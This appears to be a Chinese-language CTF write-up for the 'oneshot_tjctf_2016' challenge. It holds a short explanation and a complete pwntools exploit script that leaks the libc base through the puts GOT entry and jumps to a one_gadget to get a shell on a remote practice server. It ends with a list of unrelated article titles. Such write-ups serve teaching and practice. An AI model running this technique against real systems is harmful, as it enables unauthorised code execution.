简单题,容易想到先泄漏libc基址,然后jump to onegadget 从而getshell


from pwn import * '''
author: lemon
time: 2020-10-26
libc: libc-2.23.so
python version: 2
''' local = 0 binary = "./oneshot_tjctf_2016"
libc_path = './libc-2.23.so'
port = "25643" if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port) def dbg():
context.log_level = 'debug' context.terminal = ['tmux','splitw','-h']
elf = ELF(binary)
libc = ELF(libc_path) puts_got = elf.got['puts']
dbg()
p.recvuntil('Read location?')
p.sendline(str(puts_got))
# puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
p.recvuntil('0x0000')
puts_addr = int(p.recv(12),16)
print "puts address : ",hex(puts_addr) libc_base = puts_addr - libc.sym['puts']
onegadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
print "[*] libc_base:",hex(libc_base)
onegadgegt = libc_base + onegadget_list[3] p.recvuntil('Jump location?')
payload = onegadgegt
p.sendline(str(payload)) # gdb.attach(p)
p.interactive()

oneshot_tjctf_2016的更多相关文章

随机推荐

  1. 5.Selector详解

  2. 请求转发和重定向实现与Ajax实现表单登陆

    private void login(HttpServletRequest request, HttpServletResponse response) throws ServletException ...

  3. zico2靶机渗透

    zico2靶机渗透 开放了四个端口,分别是22,80,111以及57781端口. 扫到了目录http://192.168.114.152/dbadmin/ 进入看到php文件,访问,发现一个登录窗口. ...

  4. jdbc原理与步骤

    jdbc原理 1.加载JDBC驱动,并将其注册到DriverManager 2.建立数据库连接,获取connection对象 3.建立Statement对象或PreparedStatement对象 4 ...

  5. Centos-关机重启

    为何要使用命令进行关机重启? linux系统中的各个进程携带着各种数据,强制关机会照成数据混乱而丢失数据,甚至可能损坏硬件,所以我们需要更加安全的关机和重启方式 关机重启相关命令,需要root用户才能 ...

  6. selenium学习之元素等待(四)

    --为什么要设置元素等待: 目前大多数web应用程序都是使用AJAX和JavaScript开发,每次加载一个网页,包括静态网页和动态网页,也就是加载各种HTML标签和JS文件.在网页中进行元素定位时, ...

  7. 01 AS 首次编译执行项目过程中遇到的几个常见问题

    问题01 as打开时出现The environment variable JAVA_HOME (with The value of C:\Java\jdk1.8.0_101\bin) does not ...

  8. 手把手教你安装TensorFlow2 GPU 版本

    参考博客:https://blog.csdn.net/weixin_44170512/article/details/103990592 (本文中部分内容引自参考博客,请大家支持原作者!) 感谢大佬的 ...

  9. 用cmd下载tp5.0版本

    1.首先进入phpstudy的www目录 composer create-project topthink/think=5.0.* pt5.0的名字 --prefer-dist $ composer ...

  10. Python+Appium自动化测试(10)-TouchAction类与MultiAction类(控件元素的滑动、拖动,九宫格解锁,手势操作等)

    滑动屏幕方法swipe一般用于对页面进行上下左右滑动操作,但自动化过程中还会遇到其他情况,如对控件元素进行滑动.拖拽操作,九宫格解锁,手势操作,地图的放大与缩小等.这些需要针对控件元素的滑动操作,或者 ...